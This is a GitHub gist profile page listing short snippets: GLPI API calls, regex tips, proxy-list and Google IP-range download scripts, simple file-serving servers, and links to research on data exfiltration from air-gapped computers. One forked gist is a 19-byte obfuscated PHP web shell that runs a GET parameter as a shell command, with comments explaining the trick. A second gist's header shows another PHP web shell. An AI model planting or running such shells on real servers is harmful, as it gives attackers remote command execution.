Skip to content

Instantly share code, notes, and snippets.

View ricardomaia's full-sized avatar
:octocat:
/** No comments */

Ricardo Maia ricardomaia

:octocat:
/** No comments */
View GitHub Profile

Visualizar os campos disponíveis para itemtype ITILCategory

curl --request GET \
  --url https://glpi.exemplo.com.br/apirest.php/listSearchOptions/ITILCategory \
  --header 'App-Token: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' \
  --header 'Content-Type: application/json' \
  --header 'Session-Token: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
@ricardomaia
ricardomaia / Regex.MD
Last active March 18, 2024 13:28
Insert a new line each x lines

Insert a new line each x lines

Regex Find: ((?:.*\r?\n){4})

Regex Replace: $0\n

Remove all lines not containing 'word'

@ricardomaia
ricardomaia / update_proxies.sh
Created March 9, 2024 01:14
Creating a file with a list of proxies
#!/usr/bin/env bash
# Download proxies list
curl -k https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/http.txt -o proxy_list.txt
sed -i -e 's/^/http:\/\//' proxy_list.t
@ricardomaia
ricardomaia / one_line_http_server.md
Created March 9, 2024 01:10
One line Python HTTP server
python -m http.server 8080 --bind 0.0.0.0 --directory ./
@ricardomaia
ricardomaia / explorer.js
Created March 8, 2024 20:48
Expose current directory on web
const express = require('express');
const fs = require('fs');
const app = express();
const port = 3000;
app.get('/', (req, res) => {
fs.readdir('.', (err, files) => {
if (err) {
res.send('Erro ao ler diretório');
@ricardomaia
ricardomaia / exfiltration.md
Last active August 21, 2023 17:14
Eavesdropping / Data exfiltration

Eavesdropping / Data exfiltration

My collection of eavesdropping / data exfiltration videos from air gapped computers.

A Practical Deep Learning-Based Acoustic Side Channel Attack on Keyboards

https://arxiv.org/pdf/2308.01074.pdf

@ricardomaia
ricardomaia / Google Network IP Ranges.md
Last active March 1, 2023 15:57
Download and transform the list of Google IP ranges from JSON to CSV

Download and transform the list of Google IP ranges from JSON to CSV using curl, jq and sed.

curl https://www.gstatic.com/ipranges/goog.json | \
jq -r '.prefixes[].ipv4Prefix, .prefixes[].ipv6Prefix |  select (. != null)' | sed 's/^\|$/"/g' | paste -sd, - \
&& curl https://www.gstatic.com/ipranges/cloud.json | \
jq -r '.prefixes[].ipv4Prefix, .prefixes[].ipv6Prefix | select (. != null)' | sed 's/^\|$/"/g'| paste -sd, - \
> google-ranges.csv
@ricardomaia
ricardomaia / rev_shell.php
Created January 31, 2023 17:06 — forked from terjanq/rev_shell.php
The shortest non-alphanumeric reverse shell script (19 bytes)
<?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`;
/*
* In terminal:
* $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php
* This is how the code will be produced, \xa0\xb8\xba\xab will be
* treated as constant therefore no " needed. It is also not copyable
* string because of non-ascii characters
*
* Explanation:
@ricardomaia
ricardomaia / webshell.php
Created November 20, 2022 15:23
webshell.php
<!-- Project Name : PHP Web Shell -->
<!-- Version : 0.01 -->
<!-- First development date : 2012/07/31 -->
<!-- This Version development date : 2012/07/31 -->
<!-- language : html, css, javascript, php -->
<!-- Developer : majorPE -->
<!-- Web site : http://blog.naver.com/xornrbboy -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>